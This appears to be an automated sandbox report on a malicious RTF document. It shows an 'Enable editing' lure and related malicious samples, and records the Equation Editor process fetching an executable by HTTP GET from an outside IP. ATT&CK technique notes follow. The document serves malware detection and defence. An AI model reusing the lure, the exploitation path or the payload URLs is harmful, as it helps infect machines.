URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "Microsoft" }
	{ "brands": "Microsoft" }
URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
87.120.84.39	Inquiries-Quote Products.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/casseyofficefile.dot
	Inquiries-Quote Products.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/casseyofficefile.dot
	xXdquUOrM1vD3An.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/xXdquUOrM1vD3An.exe
	7ar1l60013Sx8PT.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/7ar1l60013Sx8PT.exe
	d1wn7m0x0FWFbfs.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/d1wn7m0x0FWFbfs.exe
	xi4HNTgb7wewrDQ.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/xi4HNTgb7wewrDQ.exe
	zxdonmn.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/AGdxlHjL3XmrRJw.exe
	NEW ORDER #233.xlam.xlsx	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/x0C0Zc8JHYzAip.exe
	Bank Copy.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/mydocfile.wbk
	Bank Copy.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39/txt/mydocfile.wbk

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SHARCOM-ASBG	Inquiries-Quote Products.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	Inquiries-Quote Products.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	xXdquUOrM1vD3An.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	7ar1l60013Sx8PT.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	d1wn7m0x0FWFbfs.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	xi4HNTgb7wewrDQ.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	zxdonmn.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	NEW ORDER #233.xlam.xlsx	Get hash	malicious	Unknown	Browse	87.120.84.39
	Bank Copy.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39
	Bank Copy.docx.doc	Get hash	malicious	Unknown	Browse	87.120.84.39

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{6A207B37-378F-4F94-99E7-88CE531EC73B}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{735E6A2A-0BE7-48B4-A181-F88BD136C239}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	388608
Entropy (8bit):	3.4415591475088623
Encrypted:	false
SSDEEP:	6144:5yemryemryemryemryemryemryemryemryemryemryemryemryemryemryemrye7:YH
MD5:	5A830508806346BA921627886974FF9F
SHA1:	ACBFE34DDA217735F907843A356D28EA4A654B3F
SHA-256:	23E10C3CDEDC30C636F955E56534F301491013D5004484BECC3EB3A88BB912A7
SHA-512:	422505DB442709AAF6187A01FE37108D22C63CCAC3961344A671D08B67B05FBD2C22DD6C2B44201184AADDCB30DF7238BAAA01E29308B8C1C07F013F80B14100
Malicious:	false
Reputation:	low
Preview:	6.2.2.6.5.4.5.1.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8BD43EC2-2D88-402F-BCAC-E4D1F548F1F0}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3586208805849453
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbm:IiiiiiiiiifdLloZQc8++lsJe1Mzein
MD5:	E810658B9A5FD32CA6B3FA1B28B3E3C9
SHA1:	3FDE4D3B14546AF5E6A0B1B08DFB57E92DB01E80
SHA-256:	864F04CC186E4DB64F54E51971C8A1D8106B2152AA1A0D7D2EBD1CB680CF4AA4
SHA-512:	1967C775145D92B7E94954D84E0E6607C00584041F44B5DB8D5A245C301F2934324632BDBCABC6DD714489AA8378375EF92E1573E760787DF3B64FF19EE67C9C
Malicious:	false
Reputation:	low
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F86FEC3E-C301-4AE4-93AB-76AEB726DE1F}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\casseyofficefile.dot.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:17 2023, mtime=Fri Aug 11 15:42:17 2023, atime=Sun Dec 8 06:42:10 2024, length=550037, window=hide
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	4.551740669251358
Encrypted:	false
SSDEEP:	12:8r5GpgXg/XAlCPCHaXFBwB/VoX+W4YSNIFmR0icvbZ1Fxs/X9MFmReDtZ3YilMM9:8r5W/XTVOM6IFEe11ouF5Dv3qt57u
MD5:	73292640327B2D0D96E0C5AF7E899FA8
SHA1:	578A4B766D4922A4487E3626282BE14733016FE6
SHA-256:	F547BB0EEEDAB260B3F7CD6949BFC671C36501CCEF44EB3495CBE86AE8FD1D14
SHA-512:	20EF9563DCBC2F19F92E0F4E1F9B760642A79ADCDF43E6DCF9DD0F486724AA29901E9EF5D7E2ED3514E978497CE31FB1AA1BD9A3B6BC918B7D5C412ABE0F4A10
Malicious:	false
Preview:	L..................F.... ...>...r...>...r....Sz.DI...d...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......YC=..user.8......QK.X.YC=...&=....U...............A.l.b.u.s.....z.1......WJ...Desktop.d......QK.X.WJ...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....z.2..d...YF= .CASSEY~1.RTF..^.......WI..WI..........................c.a.s.s.e.y.o.f.f.i.c.e.f.i.l.e...d.o.t...r.t.f.......................-...8...[............?J......C:\Users\..#...................\\960781\Users.user\Desktop\casseyofficefile.dot.rtf./.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.c.a.s.s.e.y.o.f.f.i.c.e.f.i.l.e...d.o.t...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......960781..........D_..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.320132819285604
Encrypted:	false
SSDEEP:	3:HN/nQXc/p2m4bcQXc/p2v:HN/nQXc/pFQXc/pI
MD5:	C1930EE10255DFB331C6BEEB26977710
SHA1:	7A38BA05F9630694354727EB3385E0DAB8539ECD
SHA-256:	0A7AF9A3F31C789F57A7DEE1C76C00E300C556D4AEBECD8C5F75CE577E1E7ED9
SHA-512:	67267CC5E4B540EF660D9D1811809B2BD6DE2256189F2BAAABF0A97C444FAC80C56A1C65D8F89E084E4B3A3B225D445248CD0CB1FF745F8EE353EE042B34A32A
Malicious:	false
Preview:	[misc]..casseyofficefile.dot.LNK=0..[folders]..casseyofficefile.dot.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
MD5:	C4615A023DC40AFFAEAE6CF07410BB43
SHA1:	AAE1D68C4082CABF6AEA71C7981F32928CE01843
SHA-256:	103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
SHA-512:	CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\Desktop\~$sseyofficefile.dot.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyYyBS0JilXMWvk1c6nlln:vdsCkWtIJiRk3l
MD5:	C4615A023DC40AFFAEAE6CF07410BB43
SHA1:	AAE1D68C4082CABF6AEA71C7981F32928CE01843
SHA-256:	103F860A912CF17B87A169B2768635758E8A0B82EB986A0C42FEA974F91BCB1E
SHA-512:	CD6975EAE1DA934094AC2516D095D50F2EE311CF549C8AEA2F3D65074B0DFC2908F72703B46A4C012358817289C76B15AC0E39EE359BCF39A45A8C912DCB2AAD
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Nim source code, Non-ISO extended-ASCII text, with very long lines (65337), with CR line terminators
Entropy (8bit):	3.865745342034837
TrID:	Rich Text Format (4004/1) 100.00%
File name:	casseyofficefile.dot.rtf
File size:	550'037 bytes
MD5:	e4600600fdb5ea765e9c17d3a46950d8
SHA1:	56e83b255c7921af0729f1d1314416c10dd97fe4
SHA256:	b7bcca505bb4c01e931677cc34085be7c7d1a25bd42e2b1eeb1f8fb24769cce3
SHA512:	de547f8cb75e56ea29b5cc9aac18bed9237f7d67b38c91c39cf912ab106f11b64d204676d1f83b30167610fb5083ece15c28b6e9ccdf244b33fe1fa6b2e1f3ef
SSDEEP:	6144:vwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAc:M
TLSH:	48C4F42DD34B02598F620377AB571E5142BDBA7EF38552A1302C537933EAC3DA1252BE
File Content Preview:	{\rt..{\*\8CVShc7ITg2UM0V6c1DuevfFrpfRu2FE8piYIGwYUKzrONv8ehtjeTQqSs3hxT72Ptt03en08M5744fUux6B191A8wdZM7dDrfBLOZJiJ2SlnrMDH30nBk7FmIacWlQlPQk6hm9gueHLyXfMiIm6V2M7KE3Mq99jwSkpP5ywsThN2rFv5wXcRoQnf2}..{\562265451please click Enable editing from the yellow b

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 08:42:15.191298008 CET	49161	80	192.168.2.22	87.120.84.39
Dec 8, 2024 08:42:15.312032938 CET	80	49161	87.120.84.39	192.168.2.22
Dec 8, 2024 08:42:15.312108994 CET	49161	80	192.168.2.22	87.120.84.39
Dec 8, 2024 08:42:15.312372923 CET	49161	80	192.168.2.22	87.120.84.39
Dec 8, 2024 08:42:15.431669950 CET	80	49161	87.120.84.39	192.168.2.22
Dec 8, 2024 08:42:37.209219933 CET	80	49161	87.120.84.39	192.168.2.22
Dec 8, 2024 08:42:37.209275007 CET	49161	80	192.168.2.22	87.120.84.39
Dec 8, 2024 08:42:37.209470987 CET	49161	80	192.168.2.22	87.120.84.39
Dec 8, 2024 08:42:37.328809023 CET	80	49161	87.120.84.39	192.168.2.22

HTTP Request Dependency Graph

87.120.84.39

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	87.120.84.39	80	3608	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 08:42:15.312372923 CET	322	OUT	GET /txt/1gNxsab4efLTvZ5.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 87.120.84.39 Connection: Keep-Alive

Target ID:	0
Start time:	02:42:10
Start date:	08/12/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fa80000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:42:12
Start date:	08/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:42:54
Start date:	08/12/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report casseyofficefile.dot.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{6A207B37-378F-4F94-99E7-88CE531EC73B}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{735E6A2A-0BE7-48B4-A181-F88BD136C239}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8BD43EC2-2D88-402F-BCAC-E4D1F548F1F0}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F86FEC3E-C301-4AE4-93AB-76AEB726DE1F}.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\casseyofficefile.dot.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

C:\Users\user\Desktop\~$sseyofficefile.dot.rtf

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
casseyofficefile.dot.rtf